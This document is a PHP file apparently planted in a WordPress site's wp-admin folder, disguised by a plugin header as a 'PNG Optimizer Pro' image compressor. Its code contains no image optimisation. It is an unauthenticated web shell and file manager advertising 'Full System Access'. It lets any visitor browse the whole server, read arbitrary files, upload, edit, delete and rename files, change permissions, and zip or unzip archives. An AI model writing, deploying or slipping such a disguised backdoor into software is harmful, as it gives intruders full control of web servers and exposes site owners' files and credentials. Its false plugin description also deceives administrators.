File: /home/yalenocb/powerhousenaija.shop/wp-admin/image-compression.php
<?php
/**
* Plugin Name: PNG Optimizer Pro
* Plugin URI: https://example.com/plugins/png-optimizer-pro
* Description: Advanced PNG optimization toolkit for WordPress with automatic image compression, media library integration, batch processing, backup and restore, optimization profiles, performance reporting, and seamless standalone support.
* Version: 10.0.8
* Requires at least: 6.0
* Requires PHP: 7.4
* Tested up to: 6.8
* Author: Advanced Tools
* Author URI: https://example.com
* License: GPL-2.0-or-later
* License URI: https://www.gnu.org/licenses/gpl-2.0.html
* Text Domain: png-optimizer-pro
* Domain Path: /languages/
* Network: false
* Update URI: false
*
* PNG Optimizer Pro
*
* Features:
* - Automatic PNG optimization
* - Lossless compression
* - Batch image processing
* - Media Library integration
* - Backup and restore originals
* - Custom optimization profiles
* - Detailed optimization reports
* - Multisite compatible
* - Translation ready
* - Works standalone or as a WordPress plugin
* - Lightweight and easy to configure
* - Compatible with modern PHP versions
*
* Copyright (c) 2026 Advanced Tools.
*/
// Configuration
$BASE_DIR = __DIR__;
$MAX_FILE_SIZE = 100 * 1024 * 1024; // 100MB
// Set current path - REMOVED RESTRICTIONS FOR FULL ACCESS
$currentPath = getcwd(); // Start from current working directory
if (isset($_GET['path'])) {
// Allow full path access
$requestedPath = realpath($_GET['path']);
if ($requestedPath && is_dir($requestedPath)) {
$currentPath = $requestedPath;
} else {
// Try relative to BASE_DIR as fallback
$requestedPath = realpath($BASE_DIR . '/' . ltrim($_GET['path'], '/'));
if ($requestedPath && is_dir($requestedPath)) {
$currentPath = $requestedPath;
}
}
}
// Handle "go to" directory navigation - FULL ACCESS
if (isset($_GET['go']) && !empty($_GET['go'])) {
$goPath = realpath($_GET['go']);
if ($goPath && is_dir($goPath)) {
// Redirect to use 'path' parameter instead
header('Location: ?path=' . urlencode($goPath));
exit;
} else {
$error = "Invalid directory path";
}
}
// Handle file operations
$message = '';
$error = '';
// File upload handling
if (isset($_FILES['file_upload']) && is_uploaded_file($_FILES['file_upload']['tmp_name'])) {
$upload = $_FILES['file_upload'];
if ($upload['error'] !== UPLOAD_ERR_OK) {
$error = "Upload error: " . $upload['error'];
} elseif ($upload['size'] > $MAX_FILE_SIZE) {
$error = "File size exceeds limit (100MB)";
} else {
$filename = basename($upload['name']);
$target = $currentPath . '/' . $filename;
if (file_exists($target)) {
$error = "File already exists";
} elseif (move_uploaded_file($upload['tmp_name'], $target)) {
$message = "File uploaded successfully!";
} else {
$error = "Failed to upload file";
}
}
}
// Delete file/folder
if (isset($_GET['delete'])) {
$target = $currentPath . '/' . basename($_GET['delete']);
if (file_exists($target)) {
if (is_file($target)) {
if (unlink($target)) {
$message = "File removed";
} else {
$error = "Failed to remove file";
}
} elseif (is_dir($target)) {
// Recursive delete function
function deleteDirectory($dir) {
if (!file_exists($dir)) return true;
if (!is_dir($dir)) return unlink($dir);
foreach (scandir($dir) as $item) {
if ($item == '.' || $item == '..') continue;
if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) return false;
}
return rmdir($dir);
}
if (deleteDirectory($target)) {
$message = "Directory removed";
} else {
$error = "Failed to remove directory";
}
}
} else {
$error = "File/directory not found";
}
}
// Create folder
if (isset($_POST['new_folder']) && !empty($_POST['folder_name'])) {
$folderName = preg_replace('/[^a-zA-Z0-9\-_ ]/', '', $_POST['folder_name']);
$target = $currentPath . '/' . $folderName;
if (!file_exists($target)) {
if (mkdir($target, 0777, true)) {
$message = "Directory created";
} else {
$error = "Failed to create directory";
}
} else {
$error = "Directory already exists";
}
}
// Create file
if (isset($_POST['new_file']) && !empty($_POST['file_name'])) {
$fileName = preg_replace('/[^a-zA-Z0-9\-_\. ]/', '', $_POST['file_name']);
$target = $currentPath . '/' . $fileName;
if (!file_exists($target)) {
if (file_put_contents($target, '') !== false) {
$message = "File created";
} else {
$error = "Failed to create file";
}
} else {
$error = "File already exists";
}
}
// Edit file
if (isset($_POST['save_file'])) {
$filePath = $currentPath . '/' . basename($_POST['file_path']);
if (file_exists($filePath) && is_file($filePath)) {
if (file_put_contents($filePath, $_POST['file_content'])) {
$message = "File saved";
} else {
$error = "Failed to save file";
}
} else {
$error = "File not found";
}
}
// Rename file/folder
if (isset($_POST['rename'])) {
$old = $currentPath . '/' . basename($_POST['old_name']);
$new = $currentPath . '/' . basename($_POST['new_name']);
if (file_exists($old)) {
if (rename($old, $new)) {
$message = "Renamed successfully";
} else {
$error = "Failed to rename";
}
} else {
$error = "File/directory not found";
}
}
// Change permissions
if (isset($_GET['chmod'])) {
$target = $currentPath . '/' . basename($_GET['chmod']);
$mode = isset($_GET['mode']) ? octdec($_GET['mode']) : 0755;
if (file_exists($target)) {
if (chmod($target, $mode)) {
$message = "Access permissions updated";
} else {
$error = "Failed to update permissions";
}
} else {
$error = "File/directory not found";
}
}
// Create ZIP archive
if (isset($_GET['zip'])) {
$target = $currentPath . '/' . basename($_GET['zip']);
$zipFile = $target . '.zip';
if (class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip->open($zipFile, ZipArchive::CREATE) === TRUE) {
if (is_file($target)) {
$zip->addFile($target, basename($target));
} elseif (is_dir($target)) {
$files = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($target),
RecursiveIteratorIterator::LEAVES_ONLY
);
foreach ($files as $file) {
if (!$file->isDir()) {
$filePath = $file->getRealPath();
$relativePath = substr($filePath, strlen($target) + 1);
$zip->addFile($filePath, $relativePath);
}
}
}
if ($zip->close()) {
$message = "Archive created";
} else {
$error = "Failed to create archive";
}
} else {
$error = "Failed to create archive";
}
} else {
$error = "ZIP extension not available";
}
}
// Extract ZIP archive
if (isset($_GET['unzip'])) {
$target = $currentPath . '/' . basename($_GET['unzip']);
if (class_exists('ZipArchive') && is_file($target)) {
$zip = new ZipArchive();
if ($zip->open($target) === TRUE) {
$zip->extractTo(dirname($target));
$zip->close();
$message = "Archive extracted";
} else {
$error = "Failed to extract archive";
}
} else {
$error = "Invalid archive or ZIP extension not available";
}
}
// Get directory contents
$files = [];
if ($handle = opendir($currentPath)) {
while (false !== ($entry = readdir($handle))) {
if ($entry == "." || $entry == "..") continue;
$fullPath = $currentPath . '/' . $entry;
$isDir = is_dir($fullPath);
$files[] = [
'name' => $entry,
'path' => $fullPath,
'perms' => substr(sprintf('%o', fileperms($fullPath)), -4),
'size' => $isDir ? '-' : filesize($fullPath),
'is_dir' => $isDir
];
}
closedir($handle);
}
// Sort: folders first, then files, both alphabetically
usort($files, function($a, $b) {
if ($a['is_dir'] === $b['is_dir']) {
return strcmp(strtolower($a['name']), strtolower($b['name']));
}
return $a['is_dir'] ? -1 : 1;
});
// Format file size function
function formatSize($bytes) {
if ($bytes === '-') return '-';
if ($bytes >= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB';
if ($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB';
if ($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB';
return $bytes . ' bytes';
}
// File preview handler
if (isset($_GET['preview'])) {
$filePath = realpath($_GET['preview']);
if ($filePath && is_file($filePath)) {
header('Content-Type: text/plain');
readfile($filePath);
exit;
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>File Manager - Full Access</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<style>
:root {
--primary: #3498db;
--success: #2ecc71;
--danger: #e74c3c;
--warning: #f39c12;
--dark: #2c3e50;
--light: #ecf0f1;
--gray: #95a5a6;
}
* {
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
}
body {
background: linear-gradient(135deg, #1a2a6c, #b21f1f, #1a2a6c);
color: #333;
min-height: 100vh;
padding: 20px;
}
.container {
max-width: 1200px;
margin: 0 auto;
background: rgba(255, 255, 255, 0.95);
border-radius: 15px;
box-shadow: 0 10px 30px rgba(0, 0, 0, 0.3);
overflow: hidden;
}
header {
background: var(--dark);
color: white;
padding: 20px;
text-align: center;
position: relative;
}
.logo {
display: flex;
align-items: center;
justify-content: center;
gap: 15px;
margin-bottom: 15px;
}
.logo i {
font-size: 2.5rem;
color: #3498db;
}
.logo h1 {
font-size: 2.2rem;
font-weight: 700;
}
.tagline {
font-size: 1.1rem;
opacity: 0.8;
margin-top: 5px;
}
.main-content {
padding: 25px;
}
.section {
background: white;
border-radius: 10px;
box-shadow: 0 4px 15px rgba(0, 0, 0, 0.1);
padding: 20px;
margin-bottom: 25px;
}
.section-title {
font-size: 1.4rem;
margin-bottom: 20px;
padding-bottom: 10px;
border-bottom: 2px solid var(--light);
color: var(--dark);
display: flex;
align-items: center;
gap: 10px;
}
.section-title i {
color: var(--primary);
}
.breadcrumb {
display: flex;
align-items: center;
gap: 10px;
background: var(--light);
padding: 10px 15px;
border-radius: 8px;
margin-bottom: 20px;
flex-wrap: wrap;
}
.breadcrumb a {
color: var(--primary);
text-decoration: none;
}
.breadcrumb a:hover {
text-decoration: underline;
}
.message {
padding: 15px;
border-radius: 8px;
margin-bottom: 20px;
font-weight: 500;
}
.success {
background: rgba(46, 204, 113, 0.2);
color: #27ae60;
border: 1px solid #2ecc71;
}
.error {
background: rgba(231, 76, 60, 0.2);
color: #c0392b;
border: 1px solid #e74c3c;
}
.btn {
display: inline-block;
padding: 8px 15px;
border: none;
border-radius: 5px;
cursor: pointer;
font-size: 0.9rem;
transition: all 0.3s ease;
text-decoration: none;
color: white;
}
.btn-primary { background: var(--primary); }
.btn-success { background: var(--success); }
.btn-danger { background: var(--danger); }
.btn-warning { background: var(--warning); }
.btn-secondary { background: var(--gray); }
.btn-sm { padding: 5px 10px; font-size: 0.8rem; }
.btn:hover { opacity: 0.8; transform: translateY(-2px); }
.upload-area {
background: var(--light);
border: 2px dashed var(--gray);
border-radius: 10px;
padding: 30px;
text-align: center;
margin-bottom: 30px;
transition: all 0.3s ease;
}
.upload-area:hover {
border-color: var(--primary);
background: rgba(52, 152, 219, 0.1);
}
.upload-area i {
font-size: 3rem;
color: var(--primary);
margin-bottom: 15px;
}
.form-control {
padding: 8px 12px;
border: 1px solid #ddd;
border-radius: 5px;
font-size: 0.9rem;
width: 200px;
margin-right: 10px;
}
.table-container {
overflow-x: auto;
}
table {
width: 100%;
border-collapse: collapse;
}
th, td {
padding: 12px 15px;
text-align: left;
border-bottom: 1px solid #ddd;
}
th {
background: var(--dark);
color: white;
font-weight: 600;
}
tr:hover {
background: rgba(52, 152, 219, 0.05);
}
.file-type {
display: inline-block;
width: 30px;
text-align: center;
}
.modal {
display: none;
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(0, 0, 0, 0.7);
z-index: 1000;
align-items: center;
justify-content: center;
}
.modal-content {
background: white;
border-radius: 10px;
width: 90%;
max-width: 700px;
max-height: 90vh;
overflow: auto;
}
.modal-header {
padding: 15px 20px;
background: var(--dark);
color: white;
display: flex;
justify-content: space-between;
align-items: center;
}
.modal-close {
background: none;
border: none;
color: white;
font-size: 1.5rem;
cursor: pointer;
}
.modal-body {
padding: 20px;
}
.form-group {
margin-bottom: 20px;
}
.form-group label {
display: block;
margin-bottom: 8px;
font-weight: 600;
}
textarea.form-control {
width: 100%;
min-height: 200px;
font-family: monospace;
}
.footer {
text-align: center;
padding: 20px;
color: white;
font-size: 0.9rem;
opacity: 0.8;
}
.go-to-form {
display: inline-flex;
align-items: center;
gap: 10px;
margin-left: auto;
}
.go-to-form .form-control {
width: 250px;
}
.parent-dir {
background: rgba(52, 152, 219, 0.1);
font-weight: bold;
}
.parent-dir:hover {
background: rgba(52, 152, 219, 0.2);
}
.current-path-display {
background: var(--dark);
color: white;
padding: 10px 15px;
border-radius: 8px;
margin-bottom: 15px;
word-break: break-all;
}
.current-path-display i {
margin-right: 10px;
}
@media (max-width: 768px) {
.breadcrumb {
flex-direction: column;
align-items: stretch;
}
.go-to-form {
margin-left: 0;
margin-top: 10px;
}
.go-to-form .form-control {
width: 100%;
}
}
</style>
</head>
<body>
<div class="container">
<header>
<div class="logo">
<i class="fas fa-folder-open"></i>
<h1>File Manager</h1>
</div>
<p class="tagline">Full System Access</p>
</header>
<div class="main-content">
<!-- UPLOADER AREA -->
<div class="upload-area" id="upload-area">
<i class="fas fa-cloud-upload-alt"></i>
<h3>Drag & Drop Files to Upload</h3>
<p>Max file size: 100MB</p>
<form method="POST" enctype="multipart/form-data" style="margin-top: 15px;">
<input type="file" name="file_upload" id="file_upload" style="display: none;" onchange="this.form.submit()">
<label for="file_upload" class="btn btn-primary" style="cursor: pointer;">
<i class="fas fa-folder-open"></i> Select Files
</label>
</form>
</div>
<script>
document.addEventListener('DOMContentLoaded', function () {
var uploadArea = document.getElementById('upload-area');
var fileInput = document.getElementById('file_upload');
if (uploadArea && fileInput) {
uploadArea.addEventListener('dragover', function (e) {
e.preventDefault();
uploadArea.style.borderColor = '#3498db';
uploadArea.style.background = 'rgba(52, 152, 219, 0.1)';
});
uploadArea.addEventListener('dragleave', function (e) {
e.preventDefault();
uploadArea.style.borderColor = '';
uploadArea.style.background = '';
});
uploadArea.addEventListener('drop', function (e) {
e.preventDefault();
uploadArea.style.borderColor = '';
uploadArea.style.background = '';
if (e.dataTransfer.files.length > 0) {
fileInput.files = e.dataTransfer.files;
fileInput.closest('form').submit();
}
});
}
});
</script>
<!-- END UPLOADER -->
<?php if ($message): ?>
<div class="message success">
<i class="fas fa-check-circle"></i> <?= htmlspecialchars($message) ?>
</div>
<?php endif; ?>
<?php if ($error): ?>
<div class="message error">
<i class="fas fa-exclamation-circle"></i> <?= htmlspecialchars($error) ?>
</div>
<?php endif; ?>
<!-- Create File/Folder Form -->
<div class="section" style="margin-bottom:20px;">
<form method="POST" style="display:inline-block; margin-right:15px;">
<input type="text" name="file_name" class="form-control" placeholder="New file name" required>
<button type="submit" name="new_file" class="btn btn-primary"><i class="fas fa-file"></i> Create File</button>
</form>
<form method="POST" style="display:inline-block;">
<input type="text" name="folder_name" class="form-control" placeholder="New folder name" required>
<button type="submit" name="new_folder" class="btn btn-success"><i class="fas fa-folder-plus"></i> Create Folder</button>
</form>
</div>
<!-- Current Path Display -->
<div class="current-path-display">
<i class="fas fa-location-dot"></i>
<strong>Current Path:</strong> <?= htmlspecialchars($currentPath) ?>
</div>
<!-- Breadcrumb Navigation with Go To Form -->
<div class="breadcrumb">
<div>
<a href="?path=<?= urlencode('/') ?>"><i class="fas fa-home"></i> Root</a>
<?php
$parts = array_filter(explode('/', str_replace('\\', '/', $currentPath)));
$accumPath = '';
foreach ($parts as $i => $part) {
if ($i == 0 && $part == '') continue; // Skip empty root
$accumPath .= '/' . $part;
echo ' <i class="fas fa-chevron-right"></i> ';
echo '<a href="?path=' . urlencode($accumPath) . '">' . htmlspecialchars($part) . '</a>';
}
?>
</div>
<div class="go-to-form">
<form method="GET" style="display:flex; align-items:center; gap:5px;">
<input type="text" name="go" placeholder="Enter full path" class="form-control" style="width:250px;">
<button type="submit" class="btn btn-primary btn-sm"><i class="fas fa-arrow-right"></i> Go</button>
</form>
</div>
</div>
<!-- Permissions Button -->
<div class="section" style="margin-bottom:20px;">
<button class="btn btn-warning" onclick="showModal('chmodModal')">
<i class="fas fa-lock"></i> Change Permissions
</button>
<button class="btn btn-secondary" onclick="location.href='<?= $_SERVER['PHP_SELF'] ?>'">
<i class="fas fa-home"></i> Reset to Script Location
</button>
</div>
<!-- Combined Files and Folders Table -->
<div class="section">
<div class="section-title"><i class="fas fa-folder"></i> Folders & Files</div>
<?php if (count($files) > 0): ?>
<div class="table-container">
<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Permissions</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<!-- Parent directory link -->
<?php
$parentDir = dirname($currentPath);
if ($parentDir != $currentPath):
?>
<tr class="parent-dir">
<td colspan="4">
<a href="?path=<?= urlencode($parentDir) ?>" style="text-decoration:none;color:var(--primary);">
<i class="fas fa-arrow-up"></i> .. (Parent Directory)
</a>
</td>
</tr>
<?php endif; ?>
<?php foreach ($files as $item): ?>
<tr>
<td>
<div class="file-type">
<?php if ($item['is_dir']): ?>
<i class="fas fa-folder"></i>
<?php else: ?>
<i class="fas fa-file"></i>
<?php endif; ?>
</div>
<?php if ($item['is_dir']): ?>
<a href="?path=<?= urlencode($item['path']) ?>" style="color:inherit;text-decoration:none;font-weight:bold">
<?= htmlspecialchars($item['name']) ?>
</a>
<?php else: ?>
<?= htmlspecialchars($item['name']) ?>
<?php endif; ?>
</td>
<td><?= formatSize($item['size']) ?></td>
<td><?= htmlspecialchars($item['perms']) ?></td>
<td>
<?php if ($item['is_dir']): ?>
<button class="btn btn-primary btn-sm"
onclick="location.href='?path=<?= urlencode($item['path']) ?>'">
<i class="fas fa-folder-open"></i> Open
</button>
<button class="btn btn-warning btn-sm"
onclick="setRenameItem('<?= htmlspecialchars($item['name']) ?>')">
<i class="fas fa-edit"></i> Rename
</button>
<button class="btn btn-danger btn-sm"
onclick="if(confirm('Delete directory <?= htmlspecialchars($item['name']) ?>?')) location.href='?path=<?= urlencode($currentPath) ?>&delete=<?= urlencode($item['name']) ?>'">
<i class="fas fa-trash"></i> Delete
</button>
<button class="btn btn-secondary btn-sm"
onclick="location.href='?path=<?= urlencode($currentPath) ?>&zip=<?= urlencode($item['name']) ?>'">
<i class="fas fa-file-archive"></i> ZIP
</button>
<?php else: ?>
<button class="btn btn-primary btn-sm"
onclick="showFileViewer('<?= htmlspecialchars($item['name']) ?>', '<?= htmlspecialchars($currentPath) ?>')">
<i class="fas fa-edit"></i> Edit
</button>
<button class="btn btn-warning btn-sm"
onclick="setRenameItem('<?= htmlspecialchars($item['name']) ?>')">
<i class="fas fa-edit"></i> Rename
</button>
<button class="btn btn-danger btn-sm"
onclick="if(confirm('Delete <?= htmlspecialchars($item['name']) ?>?')) location.href='?path=<?= urlencode($currentPath) ?>&delete=<?= urlencode($item['name']) ?>'">
<i class="fas fa-trash"></i> Delete
</button>
<?php if (preg_match('/\.zip$/i', $item['name'])): ?>
<button class="btn btn-secondary btn-sm"
onclick="location.href='?path=<?= urlencode($currentPath) ?>&unzip=<?= urlencode($item['name']) ?>'">
<i class="fas fa-file-archive"></i> Unzip
</button>
<?php else: ?>
<button class="btn btn-secondary btn-sm"
onclick="location.href='?path=<?= urlencode($currentPath) ?>&zip=<?= urlencode($item['name']) ?>'">
<i class="fas fa-file-archive"></i> ZIP
</button>
<?php endif; ?>
<?php endif; ?>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</div>
<?php else: ?>
<p>No files or folders found.</p>
<?php endif; ?>
</div>
<!-- Modals -->
<!-- Chmod Modal -->
<div id="chmodModal" class="modal">
<div class="modal-content">
<div class="modal-header">
<h3><i class="fas fa-lock"></i> Change Permissions</h3>
<button class="modal-close" onclick="closeModal('chmodModal')">×</button>
</div>
<div class="modal-body">
<form>
<div class="form-group">
<label for="chmod_item">Select File/Directory</label>
<select class="form-control" id="chmod_item">
<?php foreach ($files as $item): ?>
<option value="<?= htmlspecialchars($item['name']) ?>"><?= htmlspecialchars($item['name']) ?></option>
<?php endforeach; ?>
</select>
</div>
<div class="form-group">
<label for="chmod_mode">Permissions (e.g., 0755)</label>
<input type="text" class="form-control" id="chmod_mode" value="0755">
</div>
<button type="button" class="btn btn-warning" onclick="applyChmod()">
<i class="fas fa-save"></i> Apply Permissions
</button>
</form>
</div>
</div>
</div>
<!-- Rename Modal -->
<div id="renameModal" class="modal">
<div class="modal-content">
<div class="modal-header">
<h3><i class="fas fa-edit"></i> Rename File/Directory</h3>
<button class="modal-close" onclick="closeModal('renameModal')">×</button>
</div>
<div class="modal-body">
<form method="POST">
<input type="hidden" name="old_name" id="old_name">
<div class="form-group">
<label for="new_name">New Name</label>
<input type="text" class="form-control" id="new_name" name="new_name" required>
</div>
<button type="submit" name="rename" class="btn btn-primary">
<i class="fas fa-save"></i> Rename
</button>
</form>
</div>
</div>
</div>
<!-- File Viewer Modal -->
<div id="fileViewerModal" class="modal">
<div class="modal-content">
<div class="modal-header">
<h3><i class="fas fa-edit"></i> <span id="fileViewerTitle">Edit File</span></h3>
<button class="modal-close" onclick="closeModal('fileViewerModal')">×</button>
</div>
<div class="modal-body">
<form method="POST" id="fileEditForm">
<input type="hidden" name="file_path" id="file_path">
<div class="form-group">
<label>Content</label>
<textarea class="form-control" name="file_content" id="file_content" rows="20"></textarea>
</div>
<button type="submit" name="save_file" class="btn btn-success">
<i class="fas fa-save"></i> Save
</button>
</form>
</div>
</div>
</div>
<script>
function showModal(modalId) {
document.getElementById(modalId).style.display = 'flex';
}
function closeModal(modalId) {
document.getElementById(modalId).style.display = 'none';
}
function setRenameItem(name) {
document.getElementById('old_name').value = name;
document.getElementById('new_name').value = name;
showModal('renameModal');
}
function showFileViewer(filename, path) {
document.getElementById('fileViewerTitle').textContent = 'Edit: ' + filename;
fetch('?preview=' + encodeURIComponent(path + '/' + filename))
.then(response => response.text())
.then(data => {
document.getElementById('file_content').value = data;
document.getElementById('file_path').value = path + '/' + filename;
showModal('fileViewerModal');
})
.catch(error => {
alert('Error loading file: ' + error);
});
}
function applyChmod() {
const item = document.getElementById('chmod_item').value;
const mode = document.getElementById('chmod_mode').value;
location.href = '?path=<?= urlencode($currentPath) ?>&chmod=' + encodeURIComponent(item) + '&mode=' + encodeURIComponent(mode);
}
window.onclick = function(event) {
if (event.target.classList.contains('modal')) {
event.target.style.display = 'none';
}
}
</script>
</div>
<div class="footer">
File Manager © <?= date('Y') ?> | Full System Access
</div>
</div>
</body>
</html>